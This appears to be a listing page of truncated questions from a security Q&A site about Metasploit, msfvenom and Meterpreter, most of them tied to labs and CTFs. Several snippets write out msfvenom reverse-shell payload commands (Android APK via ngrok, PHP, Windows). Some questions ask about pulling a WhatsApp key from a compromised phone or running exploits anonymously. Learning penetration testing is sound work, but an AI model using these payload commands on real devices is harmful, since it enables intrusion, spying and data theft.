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Why does Hydra SMB attack not work while Metasploit does?

I'm learning about password attacks, and doing TryHackMe labs. User: penny Pass: leo1234 When using Hydra to find the password for the SMB user, I get no valid results: I know the valid password is ...
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APK reverse shell using ngrok is not creating a session

I am using ngrok for port forwarding (./ngrok tcp 4242) I created a payload using msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.in.ngrok.io LPORT=16656 R> /var/www/html/package.apk then ...
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Metasploit Meterpreter how to restore/create new session? [closed]

I created an apk for Android with Metasploit. Started with host ip and port and opened the "receiver terminal" A lot of things worked well when executing the apk but after some time the ...
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Metasploit Python module: "Unknown datastore option: CMD."

In a Python Metasploit module that I'm developing, I am trying to use CMD as one of the options: 'options': { 'RHOST': {'type': 'address', 'description': 'Target address', 'required': True, '...
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Msfvenom reverse_tcp without LHOST

I have tested SMBGhost (CVE-2020-0796). I used the following msfvenom command to generate a reverse shell payload. msfvenom - p windows/x64/meterpreter/reverse_tcp LPORT = 4444 - b '\x00' - i 1 - f ...
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Filter or suppress runtime errors in metasploit scans

Is there a command or options so results from metasploit scanning sessions don't print any runtime errors... With so many errors mostly due to connections being reset by peers, it is quite difficult ...
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Metasploit exploit linux/http/hikvision_cve_2021_36260_blind issue 'command shell session x is invalid and will be closed' [duplicate]

When I use the Hikvision CVE 2021 36260 exploit in Metasploit, it comes up with a strange, almost never-seen-before error Command shell session x is not valid and will be closed. There is no other ...
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Exploit failed: NoMethodError undefined method `smtp_send_recv' for #<Module:exploit/unix/smtp/exim4_string_format [closed]

I was trying to run an exploit using Metasploit's Exim tool. In the process I will have used the exim4_string_format module. I gave as information a RHOST, LHOSTS AND LPORT. To attack the reverse_perl ...
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How payloads provide backdoors when the victims are out of local network [duplicate]

I am a newbie in cyber security and trying to learn how payloads provide backdoors when the victims are out of the local network. I know that metasploit is a good tool for making payloads, and using ...
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reverse https windows meterpreter payload for ARM

I am working with this meterpreter payload: windows/meterpreter/reverse_https It works fine but it does not support ARM architecture. Do you know how I can compile this payload into ARM code? And do ...
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Is there a way for a victim Meterpreter session to connect to a VPS which redirects the connection to my laptop

I travel a lot, and I need to use Metasploit Framework for my pentesting course. The problem is that I do not have a stable IP address to which the victim's Meterpreter session could connect to. Is ...
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Get root permission on android for metasploit

Is there any way to get into the root file system in android with an already installed msfvenom apk in reverse_tcp (to get the whatsapp encryption key)
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Is it possible to recover a Metasploit terminal session closed by accident?

Is there a way to recover a connection to the server if by accident the terminal window which was open with Metasploit running was closed or should I start every process all over again?
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Where to find where images are located in the target's android device

I failed to find images on my second device that I hacked using a Metasploit reverse TCP shell. It seems that the search command isn't working at all and that I'm stuck with one directory on the ...
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What is the version of the scanned OS?

I've scanned a target with metasploit scanner/smb/smb_version and nmap -O. smb_version: Windows 2016 Standard (build:14393) Nmap: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows What is ...
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Where does meterpreter initially land in RAM?

When I exploit a service with Metasploit and expect a meterpreter reverse shell, where is my meterpreter session located on the target machine? Is it within the allocated memory of the exploited ...
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Converting a PE executable to a RAW format

I am on a red team exercise and want to try wePWNise to create a malware document with an executable that I have created and tested and know to pass the target's AV. Does anybody know how to convert a ...
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Use a custom Metasploit exploit

Suppose there is a remote server 203.0.113.123 listening on port 1337 that is running a vulnerable application. I have engineered a sequence of inputs for that application that result in a shell. I ...
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Is it still possible to embed executables in PDF in 2022?

I have searched and found those posts how to embed exe file to pdf? and https://stackoverflow.com/questions/2941700/can-i-embed-an-exe-payload-in-a-pdf-doc-ppt-or-any-other-file-format, but they are ...
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Exploit failed: NoMethodError undefined method `smtp_send_recv'

I was playing around with an old server (probably pre 2017) and I was running the following metasploit module: msf6 exploit(linux/smtp/exim4_dovecot_exec) However, after setting the LHOST (0.0.0.0), ...
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Meterpreter shell re-enter previous/next command

After a Meterpreter session has been established, you can start an interactive shell on the target host using the shell command. In the shell, I'm trying to switch between previously entered commands ...
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Options to use for the Database Backend Command 'analyze' in msfconsole

I noticed the command 'analyze' under Database Backend Commands in msfconsole while trying to analyze a subnet. analyze -h shows usage as such: analyze [OPTIONS] [addr1 addr2 ..] and that's it. I ...
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Msfconsole-exploit command: what options are used to generate a payload?

I have the following test environment with three computers: [victim] 192.168.0.104 running Windows 2003 [listener] 192.168.0.22 [Kali] 192.168.0.26 On the Kali machine, I used the following ...
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Import a exploit into msfconsole on ubuntu

I'm attending a offensive security courses and one of the subject is import a exploit from exploitdb into msfconsole. Commonly advice that it's required to create a exploit folder inside .msf4 and ...
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Increment hearbeat request metasploit

I'm using metasploit to a university project and I have to try to make a botnet attack unnoticed. If the blue team detects it, I have to try to make as imposible as I can to attribute the attack. I'm ...
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Windows XP SP3 2002 is not vulnerable to MS08-067

Why is my VM not vulnerable to MS08-067? There are similar question on stack exchange, yes, but they fail to specify all relevant information and so non receive a meaningful, thoughtful nor thorough ...
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Metasploit module for NULL LDAP credentials

This article covers the solution for the LDAP challenges on a capture the flag. I understand how the first example works, using the NULL value for the username and password to authenticate to the LDAP ...
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Can I import this exploit on metasploit or is better to use it in python? [duplicate]

I have tried to import this exploit: https://www.exploit-db.com/exploits/50539 and then use it in Metasploit (I'm following a walkthrough), but Metasploit cannot load it. Also I tried to use Python ...
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How do I catch metasploit session scripts error code in ruby?

I was able to start a session using metasploit framework (msf6) with an android but after a while being in the session, the meterpreter session closes. Luckily however after a few seconds, another ...
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How can I get a meterpreter session back to my attack box from subnet via pivot?

I have a lab I am dealing with and need help to get a meterpreter session on this win 7 system. My buffer overflow works great back to the pivot box. However since my attack box is not reachable from ...
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Payload uploaded but error : "no session was created"

I'm doing a capture-the-flag challenge (similar to HackTheBox) and I can't figure it out despite looking at many workarounds how to solve my issue. I did: nmap --> got port 8080 firefox -> 10....
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Configure the Metasploit SSH client to support `aes256-cbc`

I am trying to set up a vulnerable machine running freeSSHd 1.2.6. The Metasploit exploit module fails with the following error: Server encryption_client preferences: aes128-cbc,3des-cbc,blowfish-cbc,...
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How to find discrepancy between exploitable and unexploitable VM

For several years, I have been setting up VMs with 2-3 year old versions of Windows as well as some additional applications to demonstrate two-stage exploits using Metasploit for educational purposes (...
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Rex::BindFailed The address is already in use or unavailable

I'm trying to run the following script based on this blog. use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp setg autorunscript multi_console_command -rc /root/Desktop/folder/...
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Run Metasploit module against several IPs

I'm trying to run a module against several IPs. It happens that usually we can use RHOSTS file:/file.txt but in this case, that option is not available. I have tried this https://www.pentestpartners....
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Error with Metasploit when attempting to exploit netapi in Windows XP [duplicate]

I am a beginner in hacking. I have been trying to hack Windows XP using the netapi exploit in metasploit, but every time, in the end, I get an error: Exploit failed [unreachable]: Rex::...
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RubySMB::Error::CommunicationError: Read timeout expired when reading from the Socket (timeout=30)

I've been playing around with the EternalBlue exploit recently. I've downloaded a Windows 10 iso file from 2016 and used it to set up a Windows 10 Pro VM as my sandbox. I also ran the nmap script and ...
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is metasploit under whonix anonymous?

If I run an exploit like EternalBlue with Metasploit on whonix to a remote machine, do I remain anonymous? I think I do because it goes over tor but I am not sure. Am I right?
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Meterpreter: How to invoke commands in a loop for each new connection

I want to execute commands like screenshot on a regular interval (e.g. each 5min) for each incoming connection to Meterpreter using the reverse_tcp payload until the connection gets closed by the ...
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Metasploit opens Meterpreter, but the shell is unresponsive [closed]

I created a payload using msfvenom android/meterpreter/reverse_tcp LHOST=192.168.2.2 R > ANDROID.apk signed the apk, sent it to my phone, opened up msfconsole and ran set payload android/...
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Meterpreter RPC error

How to solve this error? meterpreter > run persistence -S -i 7 -p 4444 -r 192.168.134.129 [!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence. [!] Example: run exploit/...
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How do I set auto check to override exploit in metasploit?

I was trying to run the bolt CMS exploit. Bolt CMS 3.7.0 - Authenticated Remote Code Execution | php/webapps/48296.py (taken from searchsploit) and it wouldn't work because automatic check which ...
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How to read output of a Reflective DLL?

Reflective DLL Injection is one of the most interesting and best techniques to run custom code in memory. I've been learning about it a lot, I've learned how to pass in inputs, But I can't figure out ...
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- Exploit aborted due to failure: not-found: Can't find base64 decode on target

So. I am having some issues at metasploit. I am trying to exploit exploit/multi/http/wp_crop_rce. I am using Docker, in order to install wordpress version: 4.8.9. PHP 7.2.12 (cli) (built: Nov 28 2018 ...
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PHP reverse shell is not responding back [closed]

I created a php reverse shell using msfvenom utility like: msfvenom -p php/meterpreter/reverse_tcp LHOST=<MY_IP> LHOST=4444 -f raw > reverse_shell.php And I created a listener using ...
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Metasploit error - [-] Exploit aborted due to failure: unexpected-reply: Failed to upload the payload [closed]

I am trying to run this exploit through metasploit, all done on the same Kali Linux VM. I am trying to attack from my VM to the same VM. https://github.com/rapid7/metasploit-framework/blob/master/...
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How to use msfvenom elf approach for metasploitable 2?

How to use msfvenom elf approach for metasploitable 2? I am reading a book that teaches how to make a msfvenom executable for Windows. But I am learning on metasploitable 2. I really did not want to ...
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apache2 server online, but cannot access it on an Android device [closed]

I am trying to learn Metasploit using Kali Linux on a Virtual Machine. I learned that payloads can be "carried" through an Apache server. But the problem is, when I try to access the Apache ...
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A way to background meterpreter sessions from an autorunscript

I have been trying to figure out a way to script a way to background my auto run scripts. It seems like everything works perfectly fine with the exception of the background command. For example: ...
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Problem using `multi/http/mediawiki_thumb`, possibly due to the `Authorization` header

My target requires the Authorization header with credentials to get into. I have the credentials but the module I'm using (multi/http/mediawiki_thumb) doesn't seem to have an option for Authorization. ...

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